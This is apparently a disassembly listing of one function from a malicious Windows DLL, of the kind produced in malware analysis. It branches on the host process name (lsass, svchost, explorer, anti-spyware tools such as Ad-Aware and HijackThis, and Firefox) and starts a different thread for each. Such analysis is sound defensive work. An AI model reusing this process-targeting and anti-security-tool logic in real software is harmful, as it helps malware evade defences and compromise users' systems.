Function at 0x1002fb7e
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x10084500]
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push edi
xor edi, edi
sub eax, edi
je 0x1002fdc9
dec eax
jne 0x1002fe3d
call fcn.1002b3fa
mov dword [0x10085e68], eax
mov eax, dword [0x1008a514]
mov dword [0x10085db4], eax
call fcn.1002cca8
test eax, eax
jne 0x1002fe3d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x108]
push eax
push edi
call ebx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov edi, str.lsass.exe
push edi
lea eax, [ebp - 0x108]
push eax
call esi
mov dword [ebp + 0xc], eax
push edi
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
jne 0x1002fc26
push str.svchost.exe
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
jne 0x1002fc26
call fcn.1002d22d
push 0x104
push 0x10085cb0
push dword [0x10085db4]
call ebx
call fcn.1002e0f4
push dword [ebp + 0xc]
push dword [0x10085db4]
call fcn.10021401
pop ecx
pop ecx
push str.explorer.exe
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
pop ebx
je 0x1002fc8d
push 0x10085cb0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor eax, eax
lea ecx, [ebp + 0xc]
push ecx
push eax
push eax
push 0x1002e4a6
push eax
push eax
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10085e70], eax
jmp 0x1002fe3d
push edi
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
jne 0x1002fda9
push str.svchost.exe
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
jne 0x1002fda9
lea eax, [ebp - 0x108]
push str.ad_aware.exe
push eax
call fcn.10057d10
test eax, eax
pop ecx
pop ecx
je 0x1002fcdb
lea eax, [ebp + 0xc]
push eax
xor esi, esi
push esi
push esi
push 0x1002d0cf
jmp 0x1002fd25
lea eax, [ebp - 0x108]
push str.wrsssdk.exe
push eax
call fcn.10057d10
test eax, eax
pop ecx
pop ecx
je 0x1002fd01
lea eax, [ebp + 0xc]
push eax
xor esi, esi
push esi
push esi
push 0x1002d14e
jmp 0x1002fd25
lea eax, [ebp - 0x108]
push str.hijackthis.exe
push eax
call fcn.10057d10
test eax, eax
pop ecx
pop ecx
je 0x1002fd41
lea eax, [ebp + 0xc]
push eax
xor esi, esi
push esi
push esi
push 0x1002d1cf
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x1002fe3d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1002fe3d
lea eax, [ebp - 0x108]
push str.firefox.exe
push eax
call fcn.10057d10
test eax, eax
pop ecx
pop ecx
jne 0x1002fd73
lea eax, [ebp - 0x108]
push str.mozilla.exe
push eax
call fcn.10057d10
test eax, eax
pop ecx
pop ecx
je 0x1002fe3d
call fcn.1002746d
mov ecx, 0x10085a24
call fcn.1002f19e
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.parent.lock
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea ecx, [ebp - 0x110]
call fcn.10054d79
jmp 0x1002fe3d
xor eax, eax
lea ecx, [ebp + 0xc]
push ecx
push eax
push 1
push fcn.10028688
push eax
push eax
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10085e74], eax
jmp 0x1002fe3d
mov eax, dword [0x10085e70]
cmp eax, edi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
je 0x1002fddc
push edi
push eax
call esi
mov eax, dword [0x10085e74]
cmp eax, edi
je 0x1002fde9
push edi
push eax
call esi
mov eax, dword [0x10085f88]
cmp eax, edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x1002fdfb
push eax
call esi
mov eax, dword [0x10085f84]
cmp eax, edi
je 0x1002fe0d
push eax
call esi
mov dword [0x10085f84], edi
mov ecx, dword [0x10085fcc]
cmp ecx, edi
je 0x1002fe25
mov esi, ecx
call fcn.10050ab0
push esi
call fcn.100569c0
pop ecx
mov ecx, dword [0x10085fc8]
cmp ecx, edi
je 0x1002fe3d
mov esi, ecx
call fcn.1002fb16
push esi
call fcn.100569c0
pop ecx
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
inc eax
pop esi
call fcn.100568ae
leave
ret 0xc